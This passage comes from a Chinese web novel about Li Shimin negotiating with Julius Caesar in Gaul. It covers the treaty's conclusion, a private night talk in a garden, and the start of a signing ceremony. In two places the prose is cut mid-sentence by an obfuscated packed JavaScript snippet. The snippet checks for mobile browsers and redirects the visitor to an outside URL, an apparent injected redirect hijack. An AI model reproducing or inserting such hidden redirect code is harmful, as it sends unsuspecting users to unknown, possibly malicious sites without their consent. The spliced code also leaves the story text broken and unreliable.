李世民试图反驳,但拉丁语词汇在脑中打结。他卡住了,脸色发白,手指无意识地按住太阳穴。 列奥尼达斯拦住了西塞罗的步步紧逼,他们说话的声音在李世民耳中遥远得像山谷回音。 塞恩在偏厅听不见具体内容,但能感受到气氛的紧张。她不顾卫兵阻拦冲进议事厅,正好看到李世民摇摇欲坠的一幕。 “他需要休息!”塞恩用高卢语大喊,冲到李世民身边扶住他。 西塞罗皱眉:“我们在谈判,女人不该——” “够了。”凯撒的声音响起,不大,但让整个议事厅瞬间安静。 他站起身,走到李世民面前。李世民闭着眼,呼吸急促,额头渗出冷汗。 “今天的谈判到此为止。”凯撒宣布,“送他回去休息。明天……休会一天。” 拉比埃努斯惊讶:“统帅,日程——” “我说,休会一天。”凯撒重复,语气不容置疑。 他看了一眼塞恩:“照顾好他。” 那一刻,塞恩从凯撒眼中看到的,不是总督的威严,而是一种深藏的、近乎痛楚的关切。 ?? 四、第四周:终局与暗涌 休会的那天,李世民昏睡了整整十二个小时。 醒来时已是黄昏。塞恩告诉他,凯撒派人送来了上好的蜂蜜、葡萄酒,还有一位希腊医生开的安神草药。 “希腊医生?”李世民问。 “凯撒说,你大概不信任罗马人。”塞恩把煎好的药端给他,“他……考虑得很周到。” 李世民默默喝药。药很苦,但喝下去后,紧绷的神经确实松弛了些。 休会日后的谈判,气氛发生了微妙的变化。 罗马方面不再使用疲劳战术,每天只谈四个小时。西塞罗的攻势也缓和了许多,更多是就事论事。 凯撒本人话不多,但每次僵持不下时,他会提出一些创造性的折中方案——那些方案往往既维护了罗马的核心利益,又给了高卢人实质性的空间。 李世民意识到,凯撒在认真对待这场谈判了。不是作为征服者对投降者的施舍,而是作为两个政治实体间的对等协商。 最后一周,他们完成了协议的所有主要条款。厚达百页的羊皮纸,涵盖了税收、驻军、司法、公民权、咨议会、监督机制等方方面面。 这不是一份完美的协议。它充满了妥协、模糊地带和有待未来填补的空白。 但它是一份实实在在的、白纸黑字的契约。是高卢历史上第一次,他们与罗马的统治者坐下来,谈出了一套规则——而不是单纯接受命令。 谈判的最后一天,所有条款汇总,准备形成最终文本。 凯撒让书记官宣读概要。当最后一个词落下时,议事厅里一片寂静。 “那么,”凯撒看向李世民,“这就是我们一个月来的成果。你有什么最后要补充的吗?” 李世民沉默了很久。他目光扫过那叠厚厚的羊皮纸,扫过长桌两侧疲惫但专注的面孔,最后落在凯撒脸上。 “我只有一个问题。”他缓缓道,“总督,你会遵守它吗?不是作为法律条文,而是作为……一个承诺。” 凯撒没有立刻回答。他站起身,走到窗前。窗外,卢格杜努姆的灯火次第亮起,这座高卢最大的城市,正在夜幕中苏醒。 “我是一个罗马人。”凯撒背对众人,声音低沉,“罗马人重视誓言,重视契约。这份协议,我会以我的名誉和神祇见证, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224112|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证它的执行。” 他转过身,灰蓝色的眼睛在烛光中深邃如海: “但我也要告诉你,政治是流动的河流。三年后,五年后,罗马的政局、高卢的情况、甚至你我的处境,都可能变化。协议可以修改,可以补充,也可能……被废弃。这是现实。” 李世民点头:“我明白。但只要有了这份协议,有了这个起点,高卢人就知道了什么是可能的。即使未来有变,他们也会记得,曾经有过一种不同的活法——不是只能跪着,而是可以站着谈判。” 凯撒的嘴角勾起一丝极淡的、近乎赞赏的笑意。 “你很清醒。”他说,“那么,我们达成共识了?” “达成共识。” 凯撒走回长桌,伸出右手。不是罗马人的握手礼,而是手掌向上——那是他们第一次在篝火边相遇时,他递给他无花果的手势。 李世民看着那只手。手指修长,骨节分明,手背上有几道陈旧的伤疤,那是多年征战的印记。 他伸出手,握住。 掌心相触的瞬间,两人都感到一股轻微的电流——不是情欲,而是某种更深层的、灵魂层面的共振。两个站在各自文明巅峰的人,在这个异质的时空里,完成了一场超越征服与屈服的对话。 “签约仪式定在三天后。”凯撒松开手,语气恢复公事公办,“公开场合,按罗马的礼仪。之后,你的船会在马赛准备好。” “我会到场。”李世民说。 “那么……”凯撒顿了顿,忽然用汉语,极轻地说,“保重,世民。” 李世民浑身一震。他看着凯撒,那双灰蓝色的眼睛里,此刻没有任何算计或权谋,只有一片清澈的、近乎温柔的复杂。 “你也保重……盖乌斯。”他用拉丁语回应,没有用汉语。 因为有些名字,有些语言,应该留在过去的时空里。 谈判正式结束。 李世民回到住处时,塞恩和三位长老都在等待。看到李世民脸上的表情,布罗杜斯急切地问:“成了?” “成了。”李世民点头,将协议副本递给他们,“不是完美的协议,但……是一个开始。” 长老们传阅着那些密密麻麻的条款,眼中泛起泪光。他们知道,这份协议也许不能解决所有问题,但它意味着高卢人第一次被当成人来对待,而不仅仅是征服的对象。 那天深夜,李世民独自站在庭院里,仰望星空。 北方的星辰排列,与他记忆中的大唐夜空截然不同。这里没有紫微垣,没有北斗七星指引方向。 但他心中那点归乡的火苗,从未熄灭。协议达成了,他的责任告一段落。接下来,是寻找回家之路的时候了。 同一时刻,总督府书房。 凯撒站在那面巨大的高卢地图前,手指轻轻拂过“卢格杜努姆”的位置。 雷克斯站在身后汇报:“马赛的船已经安排好了,是‘海豚号’,一艘坚固的商船,船长是希腊人,熟悉东地中海航线。但他问目的地……” “告诉他,听乘客的。”凯撒说,“另外,准备一份礼物——不是钱,是实用的东西:地图、航海仪器、一些珍贵的药材。还有……” 他犹豫了一下:“把我书房里那套托勒密的《地理学》手抄本也装上。” 雷克斯惊讶:“统帅,那是您从亚历山大带回来的珍本——” “他要去的地方,比我们任何人想象的都远。”凯撒打断,“他需要最好的地图。” “是。”雷克斯躬身,“还有……关于谈判结束后的‘赏花’邀请,按照您的吩咐,已经安排在城外的维纳斯花园。时间定在傍晚。” 凯撒点了点头,目光依然停留在地图上。 “雷克斯,”他忽然问,“你说,一个人明知道前路可能是绝境,为什么还要固执地走下去?” 亲卫队长思考了片刻:“因为……有些路,只有走了才知道是不是绝境。” 凯撒笑了,笑容里带着一丝苦涩的自我认知。 “是啊。”他轻声说,“就像我选择回罗马,就像他选择回东方……我们都是固执的人。” 窗外,卢格杜努姆的灯火在夜色中绵延,像一条光的河流,流向不可知的远方。 三十天的谈判结束了。 但两个人的故事,也许才刚刚开始。 28. 第十章、维纳斯花园的对话 第十章、维纳斯花园的对话 一、黄昏的邀请 签约仪式前夜,卢格杜努姆城外,埃杜维部落的临时驻地。 这是一座石砌的塔楼,位于可以俯瞰城市的小丘上,由布罗杜斯长老安排。虽然简陋,但易守难攻,驻扎着数十名忠诚的高卢战士。 李世民正在顶层的房间里,最后一次审阅协议副本。塞恩在一旁擦拭她的短剑,目光不时警觉地扫向窗外——那里可以望见总督府方向星星点点的灯火。 “他明天会在仪式上耍什么花样?”塞恩问,声音压得很低。 “他不会公开撕毁协议,”李世民头也不抬,“但一定会设法在仪式流程上,将我置于‘受抚者’而非‘缔约方’的位置。这是最后一场心理战。” 就在这时,楼下传来马蹄声和短暂的喧哗。片刻后,楼梯响起急促的脚步声。 卢科斯——那位年轻的阿维尔尼猎手,现在是驻地的守卫队长——推门进来,脸色有些古怪。 “菲尼克斯,总督的人来了。不是士兵,是那个亲卫队长雷克斯,只带了一个车夫。他说……凯撒邀请您去‘赏花’。” 房间里的空气瞬间凝固了。 塞恩的剑“锵”一声半出鞘:“陷阱。他想在仪式前夜扣押你。” 李世民抬手制止了她。他走到窗边,向下望去。庭院里,雷克斯果然只身站在一辆朴素的马车旁,没有披甲,甚至没带武器,正平静地等待着。 “如果是扣押,来的会是整整一个百人队,不会是他一个人。”李世民沉思片刻,“但如果是私人邀请……在仪式前夜,就更值得玩味了。” “你不能去。”塞恩挡在他面前,“太危险了。可能埋伏就在花园里。” “如果凯撒想用埋伏对付我,过去三十天他有无数更好的机会。”李世民转身,拿起挂在椅背上的外套——那件墨黑色的鞣皮猎装,而非明日要穿的礼服。“这是一场心理战的前奏。他想在公开场合之外,最后一次试探我,或者……说服我。” 他看向塞恩和卢科斯:“如果我黎明前没有回来,你们就按我们商定的应急计划行动,立刻护送长老们离开卢格杜努姆,协议作废。” “菲尼克斯——”塞恩还想说什么。 “我必须去。”李世民打断她,眼神深邃,“如果连他私下的花园都不敢进,明天我又有什么底气站在观礼台上,面对成千上万的罗马士兵和高卢民众?” 他走下楼梯,来到庭院。 雷克斯微微躬身:“菲尼克斯阁下。总督大人在城外的维纳斯花园等候。他说,这纯粹是私人邀请,与明日的公事无关。” “我需要准备什么?”李世民问。 “什么都不需要。”雷克斯说,“马车已经备好。总督大人说,您只需要带上……坦诚的心情。” 二、维纳斯花园 马车出城向东,行驶了约莫半个时辰。 天色将暗未暗,西边天空还残留着一抹紫红色的霞光,东边已见疏星。马车驶离大道,转入一条两旁栽满月桂树的小径。空气中开始弥漫着湿润的泥土气息和某种浓郁的花香。 花园坐落在山丘缓坡上,俯瞰着远处卢格杜努姆的点点灯火。它显然经过精心设计:几何形状的花圃中,玫瑰、桃金娘、风信子开得正盛,白色大理石雕像在暮色中泛着幽光,一条人工小溪蜿蜒流过,水声潺潺。 最引人注目的是花园中央那尊维纳斯雕像——不是罗马式的端庄,而是希腊式的慵懒,她斜倚在石台上,手中拈着一枝将谢未谢的玫瑰,目光低垂,仿佛在凝视水中自己的倒影。 凯撒就站在雕像旁。 他换下了白日里严肃的总督长袍,穿着一件简单的深灰色羊毛外衣,腰间松松系着皮带。没有戴桂冠,头发也有些随意地散落额前。他手里拿着一个银酒杯,正望着西天最后一缕光。 听到脚步声,他转过身。 “你来了。”凯撒说,声音平和,甚至带着一丝倦意,“比我预想的要准时。” 李世民停下脚步,两人隔着三丈距离。花园里除了他们,只有远处亭廊下两名静立的侍从,以及更远处,花园入口隐约可见的、如同雕像般沉默的卫兵轮廓。 “总督的邀请,不敢怠慢。”李世民回答,用的是标准的客套话。 凯撒笑了,那笑容在暮色中显得有些模糊:“今晚没有总督,也没有高卢代言人。只有盖乌斯,和一个即将远行的客人。” 他走向花园一侧的凉亭,那里已经摆好一张小圆桌,上面有酒壶、水果、奶酪和蜂蜜蛋糕。桌椅旁各有一盏青铜灯盏,火苗在玻璃罩中安静燃烧。 “坐。”凯撒示意,“我们有一整夜的时间——或者,至少到午夜。明天你我都还有场硬仗要打。” 李世民在凯撒对面坐下。侍从悄无声息地上前,为他斟满酒杯——是深红色的法勒努姆葡萄酒,凯撒最喜欢的品类。 “为了什么干杯?”凯撒举起杯子,“为了达成的协议?为了即将到来的别离?还是……为了这场让我们彼此都精疲力竭的博弈?” “为了坦诚。”李世民也举起杯,却没有喝,“如你所说,今晚需要坦诚。” 凯撒眼中的笑意深了些:“好,为了坦诚。” 两人饮下第一口酒。酒很醇厚,带着橡木和浆果的香气,是珍品。 三、玫瑰与荆棘 最初的交谈从无关紧要的话题开始:花园的设计师来自亚历山大港,这些玫瑰是去年从波斯引进的品种,那座维纳斯雕像是一位希腊流亡艺术家的作品…… 但很快,话题转向了核心。 “你知道吗,”凯撒放下酒杯,手指轻轻摩挲着杯沿,“这三十天,是我担任高卢总督以来最有趣的三十天。” “有趣?”李世民重复这个词。 “对,有趣。”凯撒看向他,灰蓝色的眼睛在灯光下像两潭深水,“我征战二十年,见过无数敌人——有勇猛的,有狡猾的,有绝望反抗的,有跪地求饶的。但他们都有一个共同点:我知道他们在想什么。战士要荣誉,酋长要权力,商人要利益。简单,直接。” 他顿了顿: “但你不一样。你要的不是高卢的王位,不是罗马的黄金,甚至不是个人的安全。你要的是一些……抽象的东西。‘公正’、‘尊严’、‘契约’。这些东西在战场上毫无价值,在政治中往往是伪装,但你却像是真的相信它们。” 李世民沉默了片刻:“你认为那是伪装?” “起初是。”凯撒坦诚地说,“我以为你和其他叛乱者一样,用高尚的词汇包装私欲。但三十天,足够我看清一个人。你是真的在乎那些你救下的村民,在乎那些你素未谋面的高卢农民能不能留下过冬的粮食。这种在乎,不是伪装出来的。” 他忽然向前倾身,声音压低: “这就是为什么,我始终无法完全理解你。一个有能力在沼泽里拖垮我一支军队的人,一个能在谈判桌上和我针锋相对的人,为什么会把精力浪费在那些……蝼蚁般的生命上?” 这个问题很尖锐,甚至有些无礼。但凯撒问得认真,他是真的想知道答案。 李世民没有立刻回答。他看向凉亭外,夜色已完全降临,花园里的火把次第点燃,在花丛中投下跳动的光影。 “在我的家乡,”他缓缓开口,用的是拉丁语,但语速很慢,仿佛每个词都经过深思,“有一种说法:君主是舟,百姓是水。水能载舟,亦能覆舟。” 他用的是拉丁语,但引用了汉语的典故。凯撒显然听懂了比喻,眼神闪烁了一下。 “我见过‘覆舟’的景象。”李世民继续说,声音平静,但深处有某种沉重的东西在流动,“饿死的人堆积在路旁,母亲交换孩子当食物,起义的农民用锄头冲向全副武装的军队——不是因为他们勇敢,是因为他们已经没有什么可失去了。” 他转动手中的酒杯,看着深红色的液体在杯中晃动: “你问我为什么在乎那些蝼蚁般的生命?因为当蝼蚁足够多,他们能咬死巨人。更因为……” 他停顿了一下,似乎在寻找合适的拉丁词汇表达汉语儒家经典的意思: “更因为我的理想国,老有所终,壮有所用,幼有所长,矜、寡、孤、独、废疾者,皆有所养……让更多的人活得下去,是上位者的责任——无论他的称号是皇帝,是国王,还是总督。” 凉亭里一片寂静。远处传来夜莺的啼鸣,清脆而孤独。 凯撒久久地看着李世民。他的表情很复杂,有惊讶,有思索,还有一种……近乎羡慕的神色。 “所以,”凯撒最终说,“你真的是个皇帝。不是自封的,不是僭越的,是真的相信这套责任的皇帝。” 他没有用疑问句。 李世民没有承认,也没有否认。他只是说:“你也有你的责任。对罗马,对共和国,对跟随你的军团。” “是的。”凯撒靠回椅背,忽然显得有些疲惫,“但我的责任,和你的不太一样。我的责任是扩张,是征服,是让罗马的鹰旗插到更远的地方。我是征服者,而你是秩序的守护者。” 他自嘲地笑了笑: “看,这就是我们的区别。你想让水托起舟,而我只关心舟能不能继续航行,哪怕需要抽干一部分水。” 四、最后的道路 侍从悄无声息地添了一次酒,又端上一盘新鲜的无花果。 凯撒拿起一个,却没有吃,只是在手中把玩。 “明天之后,你就要去马赛,然后上船。”他换了个话题,语气恢复了平静,“你真的相信,海的那边有你的归途?” “我必须相信。”李世民说,“就像您相信,回到罗马能战胜政敌一样。有些路,不是因为看到了终点才走,而是因为必须走,所以才相信终点存在。” “很哲学。”凯撒评价,“但也很危险。地中海不是高卢的沼泽,没有你能利用的地形。那里有海盗、有风暴、有敌对的城邦。而且……” 他顿了顿,目光变得锐利: “而且,路途遥远,即使你找到那个传说中的塞里斯,也是很多年以后了。那个国家还存在吗?政局早就变了吧?你又如何证明你是那个国家的皇帝?” 这个问题直击核心。李世民沉默了。 “我不知道。”他最终诚实地说,“但我能转眼间来到这里,就一定能用同样的方法回去。不是地理上的途径。” 凯撒看了他很久,然后做了一个出人意料的举动。 他从怀中取出一个巴掌大小的、用油布仔细包裹的东西,放在桌上,推向李世民。 “打开看看。” 李世民解开油布。里面是一本极其精美的册子,羊皮纸页边缘烫金,封面用深蓝色皮革装帧,上面用希腊文写着:《地理学》,托勒密著。 “这是……”李世民翻开,里面是密密麻麻的希腊文注释和手绘地图,许多页边还有额外的笔记——是凯撒的笔迹。 “亚历山大图书馆最好版本的手抄本,我二十年前在埃及时得到的。”凯撒的声音很平淡,仿佛在说一件不值钱的小玩意,“里面有当时已知世界最详细的地图,包括一些关于东方‘赛里斯’的记载——虽然很可能充满谬误。边上的笔记是我这些年的补充和修正。” 李世民的手指拂过书页。他能感受到这份礼物的重量——不只是物质上的珍贵,更是知识上的无价。 “为什么?”他抬头问。 “因为你需要它,而我有。”凯撒说得很简单,“而且,我喜欢想象,如果有一天你真的回到了你的国度,你手里拿着我的书,看着我的笔记……那会是个有趣的故事。” 他又从桌下拿出另一个长条形的木匣,打开。里面是一架黄铜制成的仪器,结构精巧,有刻度和可旋转的圆环。 “星盘。希腊人发明的,用于航海和观测星辰。比你靠太阳和直觉找方向要可靠得多。”凯撒将星盘也推过去,“这两样东西,加上马赛那艘船,是我给你的‘旅行资助’。” 李世民看着桌上的书和星盘,又看向凯撒。这一刻,他清晰地感受到了凯撒身上那种矛盾的特质:冷酷的征服者,和慷慨的学者;精于算计的政治家,和尊重才智的智者。 “你不怕我利用这些,找到归途,然后带着我的军队回来报复罗马?”李世民问,语气半是认真半是试探。 凯撒大笑起来——那是李世民第一次听到他如此开怀的笑声。 “如果你真的能做到,”凯撒笑罢,眼中闪烁着某种近乎狂野的光,“那我期待那一天。那将是比征服高卢有趣一百倍的挑战。两个文明,隔着整个世界的对决……想想就让人热血沸腾。” 他收敛笑容,但眼中的光未熄: “但更可能的是,我们此生不会再相见。你会消失在茫茫大海或无尽戈壁的某处,而我……我会回到罗马,继续我的游戏。直到某天,我的继承人听到一个来自东方的传说:曾经有个叫菲尼克斯的人,在高卢与凯撒打过一场漂亮的仗。” 凯撒举起酒杯: “为了那个传说。” 李世民也举起杯。两杯相碰,声音清脆。 五、界限 酒过三巡,夜已深。 花园里的火把有些已经燃尽,侍从们安静地换上新的。维纳斯雕像在跳跃的火光中,面容显得更加朦胧忧郁。 凯撒似乎有些微醺——或者,是故意让自己显得微醺。他站起身,走到凉亭边缘,望着山下卢格杜努姆的灯火。 “有时候我会想,”他的声音很轻,像在自言自语,“如果我不是生在罗马,如果我不是尤利乌斯家族的儿子,如果我没有这些责任和野心……我会成为什么样的人?” 李世民也站起身,但没有靠近,只是站在他身后两步的位置。 “你会成为学者,或者探险家。”他说,“你的好奇心和智慧,不需要政治也能发光。” 凯撒回头看了他一眼,眼神深邃:“那你呢?如果你不是皇帝,你会是什么?” “我应该会参军,做一个将军。” 凯撒转过身,正面看着他。两人之间的距离很近,近到能看清对方眼中跳动的火把倒影。 “你知道吗,”凯撒的声音压得更低,几乎成了耳语,“这三十天,我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224113|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多次想把你留下来。不是作为囚犯,是作为……顾问、幕僚、甚至朋友。罗马需要你这样的人,我也需要。” 他的目光落在李世民脸上,那种审视不再带有政治计算,而是纯粹的、对人的观察: “你有一种罕见的品质:既有战略家的冷酷,又有统治者的仁慈。既能算计,又能共情。这在一个人身上几乎不可能同时存在,但你做到了。” 李世民没有后退,也没有避开目光。他能闻到凯撒身上葡萄酒和没药香料混合的气息,能感受到那种强大气场带来的压迫感——但这一次,压迫感中混杂着一种奇怪的吸引力。 “如果我留下,”李世民平静地问,“然后呢?看着你如何一点一点,用我刚谈下来的协议为诱饵,分化高卢各部,最终将它彻底消化成罗马的一个普通行省?看着那些我刚争取来的‘权利’,在你的政治需要面前被轻易牺牲?” 凯撒的嘴角勾起:“你很了解我。” “我了解权力。”李世民说,“权力就像水流,永远会寻找阻力最小的路径扩张。你给我礼遇的前提是,我不能阻碍你权力的扩张。而我的存在本身,就是对你在高卢绝对权力的一种阻碍。” 一段漫长的沉默。夜风吹过花园,带来玫瑰的香气和远处军营的马嘶。 “可惜了!”凯撒最终说,语气里有一丝真正的惋惜,“如果命运安排我们在另一个时间、另一个地点相遇……我们或许能成为很好的朋友。或者,很值得尊敬的敌人。” 六、午夜钟声 远处传来钟声——是卢格杜努姆城内朱庇特神庙的午夜钟鸣,低沉而悠远,在夜空中回荡了十二下。 “时间到了。”凯撒说,声音恢复了平日的冷静和距离感,“马车会送你回去。明天上午的仪式,我希望看到一个精神饱满的菲尼克斯——毕竟,那将是我们最后一次公开交锋。” 李世民点点头。 他将《地理学》和星盘抱在怀中,走到花园入口时,又停下脚步,回头。 凯撒依然站在凉亭边,背对着他,身影在火光中显得孤独而挺拔。 “盖乌斯。”李世民用汉语说,这也许是他第一次也是最后一次,用这个名字的汉语称呼他。 凯撒的肩膀微微一动,但没有转身。 “保重。”李世民用拉丁语说完最后两个字,转身走进等待的马车。 马车驶离维纳斯花园,沿着来路返回。李世民透过车窗,看到花园的火把一盏接一盏熄灭,最终完全隐没在黑暗中,仿佛从未存在过。 只有怀中的书和星盘,证明这个夜晚真实发生过。 ?? 七、掌心的飞鸟 马车驶离维纳斯花园,车轮碾过碎石路的声响渐行渐远,最终被夜色吞没。 凯撒依旧站在凉亭边,背对着空无一人的花园。侍从们早已识趣地退到远处廊柱的阴影中,连呼吸都压得极轻。 “菲尼克斯……”凯撒低声念出这个名字,音节在唇齿间滚动,带着葡萄酒的余味和某种更深沉的苦涩。 他缓缓转身,走向凉亭中央的石桌。李世民用过的酒杯还在原处,杯沿残留着一点深红色的酒渍。凯撒拿起那只杯子,手指摩挲着杯壁上精细的浮雕——那是酒神狄俄尼索斯的狂欢游行,神祇与凡人共醉,没有边界。 “你想问我会不会扣押你……”凯撒对着空杯自语,声音轻得像夜风拂过玫瑰花瓣,“在花园里,你有三次机会问出口,但你都忍住了。你比我想的更能忍耐。” 他将杯子举到眼前,透过酒杯看向远处卢格杜努姆的灯火,那些光点扭曲、拉长,变成一片模糊的金色海洋。 “我当然想过。”凯撒的语调变得冷硬,像冬日的冰面,“就在今晚,就在刚才。只要我抬一抬手,雷克斯就会带人冲进来。三十个,不,二十个亲卫就够了……” 凯撒的目光投向黑暗中的小径,“让卫兵拦住你,用最礼貌的方式告诉你:很抱歉,但总督改变了主意,你走不了了。你会被护送到另一处更舒适的庄园,有花园,有藏书室,有你想要的一切——除了自由。” 他闭上眼睛,嘴角浮起一丝自嘲的弧度: “然后我会每天来看你。和你下棋,听你讲东方的故事,讨论哲学与治理。我们会成为真正的朋友,而非谈判桌上的对手。我会珍惜你的才智,如同珍惜我书房里那卷托勒密的手稿——独一无二,举世难寻。” 夜风拂过,带来远处罗讷河的水汽。 凯撒睁开眼,眼神在火光中变得无比复杂: “但我忍住了。” 他转身,双手撑在凉亭栏杆上,背脊绷得很直,像在对抗某种看不见的重量: “因为你不是一本书,不是一件战利品,不是可以收藏在密室里的珍宝。你是……菲尼克斯。哪怕我打造最华丽的笼子,铺上最柔软的丝绸,每日亲手喂你鲜肉清水——那也是在杀死你。缓慢地,温柔地,无可挽回地杀死你。” “这一次,我放手。让你带着我给你的书、我教你的语言、我赠你的星盘,去飞向你的天空。这是我给你的礼物,也是给我自己的——一个‘如果’的可能。如果这世上真有一个人,能以不同的方式践行统治者的道路……我想看看结局。” 但说到这里,凯撒的眼神骤然深邃,那是一种深沉到近乎疼痛的占有欲: “但李世民,我向维纳斯发誓。” 他转向马车消失的方向,一字一句,声音平静却带着钢铁般的重量: “这是我此生第一次,也是最后一次,主动放开我想要的人。不是因为不重要,而是因为太重要——重要到我不忍心将你变成我的藏品。” 夜风吹动他的额发,那双灰蓝色眼睛里翻涌着汹涌而克制的情感: “所以,如果你再出现在我面前……如果命运真的荒谬到让我们再次相遇……” 凯撒停顿了很长一段时间。远处的灯火在他眼中明明灭灭。 “……那时,我将不会再放手。”他的声音很轻,却像誓言般斩钉截铁,“不是关押,不是囚禁。而是用尽一切方法,将你留在我的世界里。让你参与我的战争,分享我的胜利,见证我建造的一切——哪怕你需要戴着镣铐站在我身边。” “因为给过一次自由,已是我的极限。”他缓缓抚过维纳斯冰凉的大理石手指,“而回到我轨道的东西……我从不允许再次离开。” 最后这句话,他说得极轻,却带着一种近乎悲伤的笃定: “我会珍惜你,如同珍惜我自己的右手。我会给你仅次于我的权柄,倾听你所有的谏言,让你在我建造的帝国里留下印记——但你的天空,将从此与我共享同一片穹顶。你的归途,将从此与我的命运交织。” 他闭上眼,深深吸气: “所以,不要回头,永远不要。” “因为如果你回头……如果你再次走进我的视野……” 凯撒睁开眼,最后看了一眼无人的小径,转身向花园外走去。月光将他的影子拉得很长,孤独而决绝。 “……我将再也不会,让你离开我的掌心。” ?? ?? 29. 第十一章、签约仪式 第十一章、签约仪式 一、鹰旗下的舞台 辰时三刻,卢格杜努姆城外的阅兵场。 这是一个精心布置的舞台:北侧高台上,猩红地毯铺就,凯撒端坐中央,身后是金色鹰旗与束棒仪仗。两侧列席着罗马军官、元老院特使,以及少数亲罗马的高卢贵族。昆图斯·西塞罗身着白袍,手持记录蜡板,面容肃穆。 南侧空地,数千罗马士兵方阵列队,盔甲与矛尖在初冬的阳光下反射出冰冷的金属森林。而在士兵方阵与高台之间的狭窄通道上,预留了一片空地——那是给高卢观礼者的位置,此刻已挤满了各部落的代表,他们的衣着在整齐的军阵前显得杂乱而黯淡。 按照程序,李世民将独自步行穿过这条“荣誉通道”,在鹰旗下宣读文告,然后签约。 凯撒的设计是清晰的程序性羞辱: 1. 孤身入场:剥除他“高卢代言人”的集体身份,强调其个人“归顺者”地位。 2. 穿越军阵:在绝对的武力威慑下行走,视觉上强化力量对比。 3. 单膝触地:按惯例,归顺者需单膝触地接过文告卷轴。 4. 公开朗诵:亲口将“菲尼克斯”的反抗定性为“误入歧途”,呼吁服从。 5. 签约画押:完成法律意义上的臣服程序。 辰时正,号角长鸣。 所有人的目光投向南方大道。 二、第一步:孤身?不,使团 首先出现的不是独行的黑衣身影。 一匹深棕色埃杜维战马稳步踏入阅兵场,马背上的人正是李世民。他未着明日礼服,而是那身熟悉的墨黑色鞣皮猎装,外罩一件深灰色羊毛斗篷。最引人注目的是他手中平持的一根长杆,杆头绑着一面旗帜——一面边缘焦黑撕裂、沾染泥污的罗马鹰旗。 在他身后三步,塞恩步行跟随,双手捧着一个橄榄木长匣。 再之后,是三位全程参与谈判的高卢长老——布罗杜斯(埃杜维)、卢科斯(阿维尔尼)、卡西维劳努斯(林贡斯)——身着各自部落最隆重的礼服,神色庄重。他们身后,跟着十六名来自不同部落的代表,每人手中都捧着象征性物品:一袋本部落的谷物、一卷传统律法羊皮、一柄礼仪短剑…… 这不是“孤身归顺”,而是一个小型但完整的高卢多部落使团。 观礼台上一阵细微的骚动。西塞罗皱眉看向凯撒,凯撒面色平静,只几不可察地抬了抬手指——示意按原计划进行。 李世民在军阵通道前十步勒马。他利落地翻身下马,然后,做了一件让所有人都没想到的事。 他双手捧旗,向前三步,将旗杆稳稳顿入土中。晨风将残破的旗帜吹得猎猎作响。 “总督——”他的拉丁语清晰洪亮,传遍寂静的广场,“这面旗帜,是我的追随者从一支违背您命令、劫掠村庄、玷污罗马律法荣誉的税吏队废墟中寻回的。” 他松开旗杆,任其矗立: “今日,我将它归还。愿罗马的秩序,能如这旗帜所象征的一般,真正覆盖与保护所有子民,而非成为暴行的遮羞布。” 他侧身,指向使团成员手中的麻袋: “这些粮食,是同一支队伍从农民手中夺走的口粮。今日,我将它们归还给真正的主人——请总督允许,仪式后将这些粮食分发给城外最饥饿的三个村庄。” 全场死寂。刀阵后的罗马士兵下意识收回了短剑。 凯撒缓缓站起身。 他不能拒绝。归还军旗是“忠诚”,归还粮食是“仁慈”——拒绝任何一项,都会让罗马显得狭隘。 “准。”凯撒吐出一个音节。 李世民这才迈步。但走的不是刀阵下的通道,而是刀阵侧面的空地。他身后的使团紧随,那些粮袋、羊皮卷、礼仪剑在阳光下泛着朴素的光泽。 当他登上高台时,凯撒身边的侍卫长本能地想要阻拦塞恩和长老们。 李世民停步,转向凯撒:“这些是过去三十天谈判的参与者,也是圣林集会的见证者。高卢的未来,需要他们亲眼看着被决定——还是说,罗马的承诺,害怕被见证?” 凯撒沉默了两秒,灰蓝色的眼睛里闪过一丝难以察觉的锐光,抬手示意放行。 ?? 第一回合的交锋无声完成:凯撒想呈现“孤身屈服”,李世民带来了“一个联盟的归还与诉求”。个人受降的仪式,被悄然扭转成了两个政治实体间的初步交接。 三、文告:当众的质询 核心环节到来。 西塞罗上前,展开一卷崭新的羊皮纸——那是凯撒亲自起草的《高卢归顺与宽恕文告》。按照罗马仪式流程,李世民需单膝触地,双手接过,然后当众朗诵。 李世民理都不理。 西塞罗皱眉,厉声道:“菲尼克斯,依罗马礼制——” “这份文告,”李世民打断他,目光却看向凯撒,“与过去三十天我们双方书记官共同记录、修改了十七稿的《卢格杜努姆共识纪要》,是什么关系?” 西塞罗一怔:“这是总督颁发的正式文告,具有法律效力。那纪要只是谈判过程记录——” 李世民转向观礼的高卢人群,提高声音:“我是该以这份一夜之间写成、我从未见过的文告为准,还是以那份每一条都经过总督与诸位官员逐字推敲、在场三位长老皆可作证的纪要为准?” 高卢人群中响起压抑的骚动。 凯撒终于开口,声音平稳无波:“文告是公开宣告,纪要中的具体条款将另行颁布律令。二者并不冲突。” “既然如此,”李世民向前一步,竟直接从西塞罗手中拿过了文告卷轴——这个动作大胆得让侍卫们的手瞬间按上剑柄。 他展开文告,快速浏览。然后,他抬起头,用清晰的声音说:“这份文告,有三处事实错误。” 观礼台上一片吸气声。 “其一,文中称我为‘煽动叛乱者’。但我袭击的,是超出法定额度征税、强掠平民为奴的税吏队。根据罗马《十二铜表法》第三表债务法,债权人无权将债务人卖为奴隶——何况这些村民并非债务人,只是交不起超额税款。” 